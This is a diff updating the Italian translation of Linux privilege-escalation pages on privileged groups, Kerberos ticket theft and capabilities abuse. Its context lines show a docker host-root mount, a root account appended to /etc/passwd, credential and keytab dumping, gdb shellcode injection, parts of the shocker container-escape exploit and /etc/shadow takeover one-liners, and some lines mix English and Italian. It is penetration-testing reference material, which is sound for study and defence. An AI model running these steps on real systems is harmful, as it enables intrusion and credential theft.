@ -66,7 +66,7 @@ Se questo è il caso, per **diventare root puoi semplicemente eseguire**:
|
||||
```
|
||||
sudo su
|
||||
```
|
||||
## Shadow Group
|
||||
## Gruppo Shadow
|
||||
|
||||
Gli utenti del **gruppo shadow** possono **leggere** il file **/etc/shadow**:
|
||||
```
|
||||
@ -86,9 +86,9 @@ $ echo $PATH
|
||||
# echo $PATH
|
||||
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
||||
```
|
||||
Se riusciamo a compromettere alcuni programmi in `/usr/local`, possiamo facilmente ottenere i privilegi di root.
|
||||
Se riusciamo a dirottare alcuni programmi in `/usr/local`, possiamo facilmente ottenere i privilegi di root.
|
||||
|
||||
Compromettere il programma `run-parts` è un modo semplice per ottenere i privilegi di root, perché la maggior parte dei programmi eseguirà un `run-parts` come (crontab, quando si effettua il login ssh).
|
||||
Dirottare il programma `run-parts` è un modo semplice per ottenere i privilegi di root, perché la maggior parte dei programmi eseguirà un `run-parts` come (crontab, quando si effettua il login ssh).
|
||||
```bash
|
||||
$ cat /etc/crontab | grep run-parts
|
||||
17 * * * * root cd / && run-parts --report /etc/cron.hourly
|
||||
@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null
|
||||
```
|
||||
## Gruppo Docker
|
||||
|
||||
Puoi **montare il filesystem root della macchina host su un volume dell'istanza**, così quando l'istanza si avvia carica immediatamente un `chroot` in quel volume. Questo ti dà effettivamente i privilegi di root sulla macchina.
|
||||
Puoi **montare il filesystem root della macchina host su un volume dell'istanza**, quindi quando l'istanza si avvia, carica immediatamente un `chroot` in quel volume. Questo ti dà effettivamente i privilegi di root sulla macchina.
|
||||
```bash
|
||||
docker image #Get images from the docker service
|
||||
|
||||
@ -193,7 +193,7 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
|
||||
#Ifyou just want filesystem and network access you can startthe following container:
|
||||
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
|
||||
```
|
||||
Infine, se non ti piacciono nessuna delle suggerimenti precedenti, o non funzionano per qualche motivo (firewall dell'api docker?), puoi sempre provare a **eseguire un container privilegiato e fuggire da esso** come spiegato qui:
|
||||
Infine, se non ti piacciono nessuna delle suggerimenti precedenti, o non funzionano per qualche motivo (firewall dell'api docker?), potresti sempre provare a **eseguire un container privilegiato e fuggire da esso** come spiegato qui:
|
||||
|
||||
{{#ref}}
|
||||
../docker-security/
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
Una macchina linux può essere presente anche all'interno di un ambiente Active Directory.
|
||||
|
||||
Una macchina linux in un AD potrebbe **memorizzare diversi ticket CCACHE all'interno di file. Questi ticket possono essere utilizzati e abusati come qualsiasi altro ticket kerberos**. Per leggere questi ticket è necessario essere l'utente proprietario del ticket o **root** all'interno della macchina.
|
||||
Una macchina linux in un AD potrebbe essere **in grado di memorizzare diversi ticket CCACHE all'interno di file. Questi ticket possono essere utilizzati e abusati come qualsiasi altro ticket kerberos**. Per leggere questi ticket è necessario essere l'utente proprietario del ticket o **root** all'interno della macchina.
|
||||
|
||||
## Enumerazione
|
||||
|
||||
@ -52,7 +52,7 @@ krb5cc_1000
|
||||
# Prepare to use it
|
||||
export KRB5CCNAME=/tmp/krb5cc_1000
|
||||
```
|
||||
### Riutilizzo del ticket CCACHE dalla keyring
|
||||
### Riutilizzo del ticket CCACHE dal keyring
|
||||
|
||||
**I ticket Kerberos memorizzati nella memoria di un processo possono essere estratti**, in particolare quando la protezione ptrace della macchina è disabilitata (`/proc/sys/kernel/yama/ptrace_scope`). Uno strumento utile per questo scopo si trova su [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), che facilita l'estrazione iniettando nelle sessioni e dumpando i ticket in `/tmp`.
|
||||
|
||||
@ -69,12 +69,12 @@ Questa procedura tenterà di iniettare in varie sessioni, indicando il successo
|
||||
|
||||
SSSD mantiene una copia del database al percorso `/var/lib/sss/secrets/secrets.ldb`. La chiave corrispondente è memorizzata come file nascosto al percorso `/var/lib/sss/secrets/.secrets.mkey`. Per impostazione predefinita, la chiave è leggibile solo se si dispone di permessi **root**.
|
||||
|
||||
Invocando **`SSSDKCMExtractor`** con i parametri --database e --key si analizzerà il database e **decrittografare i segreti**.
|
||||
Invocando **`SSSDKCMExtractor`** con i parametri --database e --key si analizzerà il database e **decrypterà i segreti**.
|
||||
```bash
|
||||
git clone https://github.com/fireeye/SSSDKCMExtractor
|
||||
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
||||
```
|
||||
Il **blob della cache delle credenziali Kerberos può essere convertito in un file Kerberos CCache** utilizzabile che può essere passato a Mimikatz/Rubeus.
|
||||
Il **blob della cache delle credenziali Kerberos può essere convertito in un file CCache Kerberos utilizzabile** che può essere passato a Mimikatz/Rubeus.
|
||||
|
||||
### Riutilizzo del ticket CCACHE da keytab
|
||||
```bash
|
||||
@ -84,9 +84,9 @@ klist -k /etc/krb5.keytab
|
||||
```
|
||||
### Estrai account da /etc/krb5.keytab
|
||||
|
||||
Le chiavi degli account di servizio, essenziali per i servizi che operano con privilegi di root, sono archiviate in modo sicuro nei file **`/etc/krb5.keytab`**. Queste chiavi, simili a password per i servizi, richiedono una rigorosa riservatezza.
|
||||
Le chiavi degli account di servizio, essenziali per i servizi che operano con privilegi di root, sono archiviate in modo sicuro nei file **`/etc/krb5.keytab`**. Queste chiavi, simili a password per i servizi, richiedono una stretta riservatezza.
|
||||
|
||||
Per ispezionare il contenuto del file keytab, si può utilizzare **`klist`**. Lo strumento è progettato per visualizzare i dettagli delle chiavi, inclusa l'**NT Hash** per l'autenticazione degli utenti, in particolare quando il tipo di chiave è identificato come 23.
|
||||
Per ispezionare il contenuto del file keytab, si può utilizzare **`klist`**. Lo strumento è progettato per visualizzare i dettagli delle chiavi, inclusa la **NT Hash** per l'autenticazione degli utenti, in particolare quando il tipo di chiave è identificato come 23.
|
||||
```bash
|
||||
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
|
||||
# Output includes service principal details and the NT Hash
|
||||
|
||||
@ -22,12 +22,12 @@ Le capacità di Linux dividono **i privilegi di root in unità più piccole e di
|
||||
2. **Effective (CapEff)**:
|
||||
|
||||
- **Scopo**: Rappresenta le capacità effettive che un processo sta utilizzando in un dato momento.
|
||||
- **Funzionalità**: È l'insieme di capacità controllato dal kernel per concedere permessi per varie operazioni. Per i file, questo insieme può essere un flag che indica se le capacità consentite del file devono essere considerate efficaci.
|
||||
- **Funzionalità**: È l'insieme di capacità controllato dal kernel per concedere permessi per varie operazioni. Per i file, questo insieme può essere un flag che indica se le capacità consentite del file devono essere considerate effettive.
|
||||
- **Significato**: L'insieme effettivo è cruciale per i controlli immediati dei privilegi, fungendo da insieme attivo di capacità che un processo può utilizzare.
|
||||
|
||||
3. **Permitted (CapPrm)**:
|
||||
|
||||
- **Scopo**: Definisce l'insieme massimo di capacità che un processo può possedere.
|
||||
- **Scopo**: Definisce il massimo insieme di capacità che un processo può possedere.
|
||||
- **Funzionalità**: Un processo può elevare una capacità dall'insieme permesso al suo insieme effettivo, dandogli la possibilità di utilizzare quella capacità. Può anche rinunciare a capacità dal suo insieme permesso.
|
||||
- **Limite**: Funziona come un limite superiore per le capacità che un processo può avere, assicurando che un processo non superi il proprio ambito di privilegi predefinito.
|
||||
|
||||
@ -101,7 +101,7 @@ CapAmb: 0000000000000000
|
||||
capsh --decode=0000000000003000
|
||||
0x0000000000003000=cap_net_admin,cap_net_raw
|
||||
```
|
||||
Sebbene funzioni, c'è un altro modo più semplice. Per vedere le capacità di un processo in esecuzione, basta utilizzare lo strumento **getpcaps** seguito dal suo ID processo (PID). Puoi anche fornire un elenco di ID processo.
|
||||
Sebbene funzioni, c'è un altro modo più semplice. Per vedere le capacità di un processo in esecuzione, utilizza semplicemente lo strumento **getpcaps** seguito dal suo ID processo (PID). Puoi anche fornire un elenco di ID processo.
|
||||
```bash
|
||||
getpcaps 1234
|
||||
```
|
||||
@ -128,7 +128,7 @@ Lo strumento _getpcaps_ utilizza la chiamata di sistema **capget()** per interro
|
||||
|
||||
### Capacità dei Binaries
|
||||
|
||||
I binaries possono avere capacità che possono essere utilizzate durante l'esecuzione. Ad esempio, è molto comune trovare il binario `ping` con la capacità `cap_net_raw`:
|
||||
I binari possono avere capacità che possono essere utilizzate durante l'esecuzione. Ad esempio, è molto comune trovare il binario `ping` con la capacità `cap_net_raw`:
|
||||
```bash
|
||||
getcap /usr/bin/ping
|
||||
/usr/bin/ping = cap_net_raw+ep
|
||||
@ -137,13 +137,13 @@ Puoi **cercare binari con capacità** utilizzando:
|
||||
```bash
|
||||
getcap -r / 2>/dev/null
|
||||
```
|
||||
### Dropping capabilities with capsh
|
||||
### Rimozione delle capacità con capsh
|
||||
|
||||
Se rimuoviamo le capacità CAP*NET_RAW per \_ping*, allora l'utilità ping non dovrebbe più funzionare.
|
||||
```bash
|
||||
capsh --drop=cap_net_raw --print -- -c "tcpdump"
|
||||
```
|
||||
Oltre all'output di _capsh_ stesso, anche il comando _tcpdump_ dovrebbe generare un errore.
|
||||
Oltre all'output di _capsh_ stesso, anche il comando _tcpdump_ dovrebbe sollevare un errore.
|
||||
|
||||
> /bin/bash: /usr/sbin/tcpdump: Operazione non consentita
|
||||
|
||||
@ -279,7 +279,7 @@ Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
|
||||
> [!CAUTION]
|
||||
> Puoi **aggiungere solo le capacità che sono presenti** sia nel set permesso che in quello ereditabile.
|
||||
|
||||
### Binaries consapevoli delle capacità / Binaries non consapevoli delle capacità
|
||||
### Binaries consapevoli delle capacità/Binaries non consapevoli delle capacità
|
||||
|
||||
I **binaries consapevoli delle capacità non utilizzeranno le nuove capacità** fornite dall'ambiente, tuttavia i **binaries non consapevoli delle capacità le utilizzeranno** poiché non le rifiuteranno. Questo rende i binaries non consapevoli delle capacità vulnerabili all'interno di un ambiente speciale che concede capacità ai binaries.
|
||||
|
||||
@ -311,7 +311,7 @@ docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained
|
||||
```
|
||||
## Privesc/Container Escape
|
||||
|
||||
Le capacità sono utili quando **vuoi limitare i tuoi stessi processi dopo aver eseguito operazioni privilegiate** (ad esempio, dopo aver impostato chroot e collegato a un socket). Tuttavia, possono essere sfruttate passando loro comandi o argomenti malevoli che vengono poi eseguiti come root.
|
||||
Le capacità sono utili quando **vuoi limitare i tuoi processi dopo aver eseguito operazioni privilegiate** (ad esempio, dopo aver impostato chroot e collegato a un socket). Tuttavia, possono essere sfruttate passando loro comandi o argomenti malevoli che vengono poi eseguiti come root.
|
||||
|
||||
Puoi forzare le capacità sui programmi usando `setcap` e interrogarle usando `getcap`:
|
||||
```bash
|
||||
@ -346,17 +346,17 @@ getcap /usr/sbin/tcpdump
|
||||
```
|
||||
### Il caso speciale delle capacità "vuote"
|
||||
|
||||
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Nota che è possibile assegnare set di capacità vuoti a un file di programma, e quindi è possibile creare un programma set-user-ID-root che cambia l'ID utente effettivo e salvato del processo che esegue il programma a 0, ma non conferisce alcuna capacità a quel processo. O, per dirla semplicemente, se hai un binario che:
|
||||
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Nota che è possibile assegnare set di capacità vuoti a un file di programma, e quindi è possibile creare un programma set-user-ID-root che cambia l'ID utente effettivo e salvato del processo che esegue il programma a 0, ma non conferisce alcuna capacità a quel processo. In altre parole, se hai un binario che:
|
||||
|
||||
1. non è di proprietà di root
|
||||
2. non ha bit `SUID`/`SGID` impostati
|
||||
3. ha set di capacità vuoti (ad es.: `getcap myelf` restituisce `myelf =ep`)
|
||||
3. ha set di capacità vuote (ad es.: `getcap myelf` restituisce `myelf =ep`)
|
||||
|
||||
allora **quel binario verrà eseguito come root**.
|
||||
|
||||
## CAP_SYS_ADMIN
|
||||
|
||||
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** è una capacità Linux altamente potente, spesso equiparata a un livello quasi root a causa dei suoi ampi **privilegi amministrativi**, come il montaggio di dispositivi o la manipolazione delle funzionalità del kernel. Sebbene sia indispensabile per i contenitori che simulano interi sistemi, **`CAP_SYS_ADMIN` presenta sfide di sicurezza significative**, specialmente negli ambienti containerizzati, a causa del suo potenziale per l'escalation dei privilegi e il compromesso del sistema. Pertanto, il suo utilizzo richiede valutazioni di sicurezza rigorose e una gestione cauta, con una forte preferenza per la rimozione di questa capacità nei contenitori specifici per le applicazioni per aderire al **principio del minimo privilegio** e ridurre la superficie di attacco.
|
||||
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** è una capacità Linux altamente potente, spesso equiparata a un livello quasi root a causa dei suoi ampi **privilegi amministrativi**, come il montaggio di dispositivi o la manipolazione delle funzionalità del kernel. Sebbene sia indispensabile per i contenitori che simulano interi sistemi, **`CAP_SYS_ADMIN` presenta sfide significative per la sicurezza**, specialmente negli ambienti containerizzati, a causa del suo potenziale per l'escalation dei privilegi e il compromesso del sistema. Pertanto, il suo utilizzo richiede valutazioni di sicurezza rigorose e una gestione cauta, con una forte preferenza per la rimozione di questa capacità nei contenitori specifici per le applicazioni per aderire al **principio del minimo privilegio** e ridurre al minimo la superficie di attacco.
|
||||
|
||||
**Esempio con binario**
|
||||
```bash
|
||||
@ -434,9 +434,9 @@ ssh john@172.17.0.1 -p 2222
|
||||
```
|
||||
## CAP_SYS_PTRACE
|
||||
|
||||
**Questo significa che puoi sfuggire al contenitore iniettando un shellcode all'interno di qualche processo in esecuzione all'interno dell'host.** Per accedere ai processi in esecuzione all'interno dell'host, il contenitore deve essere eseguito almeno con **`--pid=host`**.
|
||||
**Questo significa che puoi uscire dal contenitore iniettando un shellcode all'interno di un processo in esecuzione all'interno dell'host.** Per accedere ai processi in esecuzione all'interno dell'host, il contenitore deve essere eseguito almeno con **`--pid=host`**.
|
||||
|
||||
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** concede la possibilità di utilizzare funzionalità di debug e tracciamento delle chiamate di sistema fornite da `ptrace(2)` e chiamate di attacco alla memoria incrociata come `process_vm_readv(2)` e `process_vm_writev(2)`. Sebbene sia potente per scopi diagnostici e di monitoraggio, se `CAP_SYS_PTRACE` è abilitato senza misure restrittive come un filtro seccomp su `ptrace(2)`, può compromettere significativamente la sicurezza del sistema. In particolare, può essere sfruttato per eludere altre restrizioni di sicurezza, in particolare quelle imposte da seccomp, come dimostrato da [prove di concetto (PoC) come questa](https://gist.github.com/thejh/8346f47e359adecd1d53).
|
||||
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** concede la possibilità di utilizzare le funzionalità di debug e tracciamento delle chiamate di sistema fornite da `ptrace(2)` e chiamate di attacco alla memoria incrociata come `process_vm_readv(2)` e `process_vm_writev(2)`. Sebbene sia potente per scopi diagnostici e di monitoraggio, se `CAP_SYS_PTRACE` è abilitato senza misure restrittive come un filtro seccomp su `ptrace(2)`, può compromettere significativamente la sicurezza del sistema. In particolare, può essere sfruttato per eludere altre restrizioni di sicurezza, in particolare quelle imposte da seccomp, come dimostrato da [prove di concetto (PoC) come questa](https://gist.github.com/thejh/8346f47e359adecd1d53).
|
||||
|
||||
**Esempio con binario (python)**
|
||||
```bash
|
||||
@ -560,7 +560,7 @@ chunks += f"{byte:02x}"
|
||||
|
||||
print(f"set {{long}}($rip+{i}) = {chunks}")
|
||||
```
|
||||
Debugga un processo root con gdb e copia-incolla le righe gdb generate in precedenza:
|
||||
Esegui il debug di un processo root con gdb e copia-incolla le righe gdb generate in precedenza:
|
||||
```bash
|
||||
# Let's write the commands to a file
|
||||
echo 'set {long}($rip+0) = 0x296a909090909090
|
||||
@ -622,7 +622,7 @@ Elenca **processi** in esecuzione nell'**host** `ps -eaf`
|
||||
|
||||
## CAP_SYS_MODULE
|
||||
|
||||
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** consente a un processo di **caricare e scaricare moduli del kernel (`init_module(2)`, `finit_module(2)` e `delete_module(2)` chiamate di sistema)**, offrendo accesso diretto alle operazioni fondamentali del kernel. Questa capacità presenta rischi critici per la sicurezza, poiché consente l'escalation dei privilegi e il compromesso totale del sistema permettendo modifiche al kernel, eludendo così tutti i meccanismi di sicurezza di Linux, inclusi i Linux Security Modules e l'isolamento dei container.
|
||||
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** consente a un processo di **caricare e scaricare moduli del kernel (`init_module(2)`, `finit_module(2)` e `delete_module(2)` chiamate di sistema)**, offrendo accesso diretto alle operazioni fondamentali del kernel. Questa capacità presenta rischi di sicurezza critici, poiché consente l'escalation dei privilegi e il compromesso totale del sistema permettendo modifiche al kernel, bypassando così tutti i meccanismi di sicurezza di Linux, inclusi i Linux Security Modules e l'isolamento dei container.
|
||||
**Questo significa che puoi** **inserire/rimuovere moduli del kernel nel/dal kernel della macchina host.**
|
||||
|
||||
**Esempio con binario**
|
||||
@ -733,7 +733,7 @@ Un altro esempio di questa tecnica può essere trovato in [https://www.cyberark.
|
||||
|
||||
## CAP_DAC_READ_SEARCH
|
||||
|
||||
[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) consente a un processo di **bypassare i permessi per la lettura dei file e per la lettura e l'esecuzione delle directory**. Il suo utilizzo principale è per scopi di ricerca o lettura di file. Tuttavia, consente anche a un processo di utilizzare la funzione `open_by_handle_at(2)`, che può accedere a qualsiasi file, inclusi quelli al di fuori dello spazio dei nomi di montaggio del processo. L'identificatore utilizzato in `open_by_handle_at(2)` dovrebbe essere un identificatore non trasparente ottenuto tramite `name_to_handle_at(2)`, ma può includere informazioni sensibili come numeri di inode che sono vulnerabili a manomissioni. Il potenziale di sfruttamento di questa capacità, in particolare nel contesto dei contenitori Docker, è stato dimostrato da Sebastian Krahmer con l'exploit shocker, come analizzato [qui](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).
|
||||
[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) consente a un processo di **bypassare i permessi per la lettura dei file e per la lettura e l'esecuzione delle directory**. Il suo utilizzo principale è per scopi di ricerca o lettura di file. Tuttavia, consente anche a un processo di utilizzare la funzione `open_by_handle_at(2)`, che può accedere a qualsiasi file, inclusi quelli al di fuori dello spazio dei nomi di montaggio del processo. L'identificatore utilizzato in `open_by_handle_at(2)` dovrebbe essere un identificatore non trasparente ottenuto tramite `name_to_handle_at(2)`, ma può includere informazioni sensibili come numeri di inode che sono vulnerabili a manomissioni. Il potenziale di sfruttamento di questa capacità, in particolare nel contesto dei container Docker, è stato dimostrato da Sebastian Krahmer con l'exploit shocker, come analizzato [qui](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).
|
||||
**Questo significa che puoi** **bypassare i controlli dei permessi di lettura dei file e i controlli dei permessi di lettura/esecuzione delle directory.**
|
||||
|
||||
**Esempio con binario**
|
||||
@ -747,7 +747,7 @@ tar -cxf shadow.tar.gz
|
||||
```
|
||||
**Esempio con binary2**
|
||||
|
||||
In questo caso supponiamo che il binario **`python`** abbia questa capacità. Per elencare i file di root potresti fare:
|
||||
In questo caso supponiamo che il binario **`python`** abbia questa capacità. Per elencare i file di root, potresti fare:
|
||||
```python
|
||||
import os
|
||||
for r, d, f in os.walk('/root'):
|
||||
@ -777,7 +777,7 @@ All'interno dell'output precedente puoi vedere che la capacità **DAC_READ_SEARC
|
||||
|
||||
Puoi apprendere come funziona il seguente exploit in [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) ma in sintesi **CAP_DAC_READ_SEARCH** non solo ci consente di attraversare il file system senza controlli di autorizzazione, ma rimuove anche esplicitamente eventuali controlli su _**open_by_handle_at(2)**_ e **potrebbe consentire al nostro processo di accedere a file sensibili aperti da altri processi**.
|
||||
|
||||
L'exploit originale che sfrutta queste autorizzazioni per leggere file dall'host può essere trovato qui: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), il seguente è una **versione modificata che ti consente di indicare il file che desideri leggere come primo argomento e di salvarlo in un file.**
|
||||
L'exploit originale che sfrutta queste autorizzazioni per leggere file dall'host può essere trovato qui: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), il seguente è una **versione modificata che ti consente di indicare il file che desideri leggere come primo argomento e di scaricarlo in un file.**
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
@ -938,7 +938,7 @@ return 0;
|
||||
|
||||
**Questo significa che puoi bypassare i controlli dei permessi di scrittura su qualsiasi file, quindi puoi scrivere qualsiasi file.**
|
||||
|
||||
Ci sono molti file che puoi **sovrascrivere per escalare i privilegi,** [**puoi trovare idee qui**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
|
||||
Ci sono molti file che puoi **sovrascrivere per escalare i privilegi,** [**puoi prendere spunti da qui**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges).
|
||||
|
||||
**Esempio con binario**
|
||||
|
||||
@ -1114,15 +1114,15 @@ return 0;
|
||||
```
|
||||
In order to scape the docker container you could **scaricare** the files `/etc/shadow` and `/etc/passwd` from the host, **aggiungere** to them a **nuovo utente**, and use **`shocker_write`** to overwrite them. Then, **accedere** via **ssh**.
|
||||
|
||||
**Il codice di questa tecnica è stato copiato dal laboratorio di "Abusing DAC_OVERRIDE Capability" da** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com)
|
||||
**The code of this technique was copied from the laboratory of "Abusing DAC_OVERRIDE Capability" from** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com)
|
||||
|
||||
## CAP_CHOWN
|
||||
|
||||
**Questo significa che è possibile cambiare la proprietà di qualsiasi file.**
|
||||
**This means that it's possible to change the ownership of any file.**
|
||||
|
||||
**Esempio con binario**
|
||||
**Example with binary**
|
||||
|
||||
Lets suppose the **`python`** binary has this capability, you can **cambiare** the **proprietario** of the **shadow** file, **cambiare la password di root**, and escalate privileges:
|
||||
Lets suppose the **`python`** binary has this capability, you can **cambiare** the **owner** of the **shadow** file, **cambiare la password di root**, and escalate privileges:
|
||||
```bash
|
||||
python -c 'import os;os.chown("/etc/shadow",1000,1000)'
|
||||
```
|
||||
@ -1184,7 +1184,7 @@ import os
|
||||
os.setgid(42)
|
||||
os.system("/bin/bash")
|
||||
```
|
||||
In questo caso il gruppo shadow è stato impersonato, quindi puoi leggere il file `/etc/shadow`:
|
||||
In questo caso, il gruppo shadow è stato impersonato, quindi puoi leggere il file `/etc/shadow`:
|
||||
```bash
|
||||
cat /etc/shadow
|
||||
```
|
||||
@ -1242,7 +1242,7 @@ CapAmb: 0000000000000000
|
||||
capsh --decode=00000000a80425fb
|
||||
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||||
```
|
||||
Questa capacità consente di **dare qualsiasi altra capacità ai binari**, quindi potremmo pensare di **uscire** dal contenitore **abusando di qualsiasi delle altre violazioni di capacità** menzionate in questa pagina.\
|
||||
Questa capacità consente di **dare qualsiasi altra capacità ai binari**, quindi potremmo pensare di **uscire** dal contenitore **abusando di una delle altre violazioni di capacità** menzionate in questa pagina.\
|
||||
Tuttavia, se provi a dare ad esempio le capacità CAP_SYS_ADMIN e CAP_SYS_PTRACE al binario gdb, scoprirai che puoi darle, ma il **binario non sarà in grado di eseguire dopo questo**:
|
||||
```bash
|
||||
getcap /usr/bin/gdb
|
||||
@ -1253,15 +1253,15 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
|
||||
/usr/bin/gdb
|
||||
bash: /usr/bin/gdb: Operation not permitted
|
||||
```
|
||||
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: Questo è un **superinsieme limitante per le capacità effettive** che il thread può assumere. È anche un superinsieme limitante per le capacità che possono essere aggiunte al set ereditabile da un thread che **non ha la capacità CAP_SETPCAP** nel suo set effettivo._\
|
||||
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: Questo è un **sottoinsieme limitante delle capacità effettive** che il thread può assumere. È anche un sottoinsieme limitante delle capacità che possono essere aggiunte al set ereditabile da un thread che **non ha la capacità CAP_SETPCAP** nel suo set effettivo._\
|
||||
Sembra che le capacità Permitted limitino quelle che possono essere utilizzate.\
|
||||
Tuttavia, Docker concede anche il **CAP_SETPCAP** per impostazione predefinita, quindi potresti essere in grado di **impostare nuove capacità all'interno di quelle ereditabili**.\
|
||||
Tuttavia, Docker concede anche la **CAP_SETPCAP** per impostazione predefinita, quindi potresti essere in grado di **impostare nuove capacità all'interno di quelle ereditabili**.\
|
||||
Tuttavia, nella documentazione di questa cap: _CAP_SETPCAP : \[…] **aggiunge qualsiasi capacità dal set di bounding del thread chiamante** al suo set ereditabile_.\
|
||||
Sembra che possiamo solo aggiungere al set ereditabile capacità dal set di bounding. Ciò significa che **non possiamo mettere nuove capacità come CAP_SYS_ADMIN o CAP_SYS_PTRACE nel set ereditato per escalare i privilegi**.
|
||||
Sembra che possiamo solo aggiungere al set ereditabile capacità dal set di bounding. Ciò significa che **non possiamo inserire nuove capacità come CAP_SYS_ADMIN o CAP_SYS_PTRACE nel set ereditabile per escalare i privilegi**.
|
||||
|
||||
## CAP_SYS_RAWIO
|
||||
|
||||
[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) fornisce una serie di operazioni sensibili tra cui l'accesso a `/dev/mem`, `/dev/kmem` o `/proc/kcore`, modificare `mmap_min_addr`, accedere alle chiamate di sistema `ioperm(2)` e `iopl(2)`, e vari comandi del disco. L'`FIBMAP ioctl(2)` è anche abilitato tramite questa capacità, il che ha causato problemi in [passato](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Secondo la pagina man, questo consente anche al detentore di `eseguire una serie di operazioni specifiche per dispositivo su altri dispositivi`.
|
||||
[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) fornisce una serie di operazioni sensibili tra cui l'accesso a `/dev/mem`, `/dev/kmem` o `/proc/kcore`, modificare `mmap_min_addr`, accedere alle chiamate di sistema `ioperm(2)` e `iopl(2)`, e vari comandi del disco. L'`FIBMAP ioctl(2)` è anche abilitato tramite questa capacità, che ha causato problemi in [passato](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Secondo la pagina man, questo consente anche al titolare di `eseguire una serie di operazioni specifiche per dispositivo su altri dispositivi`.
|
||||
|
||||
Questo può essere utile per **l'escalation dei privilegi** e **il breakout di Docker.**
|
||||
|
||||
@ -1325,7 +1325,7 @@ s.connect(('10.10.10.10',500))
|
||||
|
||||
## CAP_NET_RAW
|
||||
|
||||
[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) consente ai processi di **creare socket RAW e PACKET**, permettendo loro di generare e inviare pacchetti di rete arbitrari. Questo può portare a rischi per la sicurezza in ambienti containerizzati, come lo spoofing dei pacchetti, l'iniezione di traffico e il bypass dei controlli di accesso alla rete. Attori malintenzionati potrebbero sfruttare questo per interferire con il routing dei container o compromettere la sicurezza della rete host, specialmente senza adeguate protezioni del firewall. Inoltre, **CAP_NET_RAW** è cruciale per i container privilegiati per supportare operazioni come il ping tramite richieste ICMP RAW.
|
||||
[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) consente ai processi di **creare socket RAW e PACKET**, permettendo loro di generare e inviare pacchetti di rete arbitrari. Questo può portare a rischi per la sicurezza in ambienti containerizzati, come spoofing dei pacchetti, iniezione di traffico e bypass dei controlli di accesso alla rete. Attori malintenzionati potrebbero sfruttare questo per interferire con il routing dei container o compromettere la sicurezza della rete host, specialmente senza adeguate protezioni del firewall. Inoltre, **CAP_NET_RAW** è cruciale per i container privilegiati per supportare operazioni come ping tramite richieste ICMP RAW.
|
||||
|
||||
**Questo significa che è possibile sniffare il traffico.** Non puoi elevare i privilegi direttamente con questa capacità.
|
||||
|
||||
@ -1452,9 +1452,9 @@ f.write('New content for the file\n')
|
||||
|
||||
## CAP_SYSLOG
|
||||
|
||||
[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) è stato separato dal più ampio **CAP_SYS_ADMIN** in Linux 2.6.37, concedendo specificamente la possibilità di utilizzare la chiamata `syslog(2)`. Questa capacità consente la visualizzazione degli indirizzi del kernel tramite `/proc` e interfacce simili quando l'impostazione `kptr_restrict` è a 1, che controlla l'esposizione degli indirizzi del kernel. Dalla versione 2.6.39 di Linux, il valore predefinito per `kptr_restrict` è 0, il che significa che gli indirizzi del kernel sono esposti, anche se molte distribuzioni impostano questo valore a 1 (nascondere gli indirizzi tranne che per uid 0) o 2 (nascondere sempre gli indirizzi) per motivi di sicurezza.
|
||||
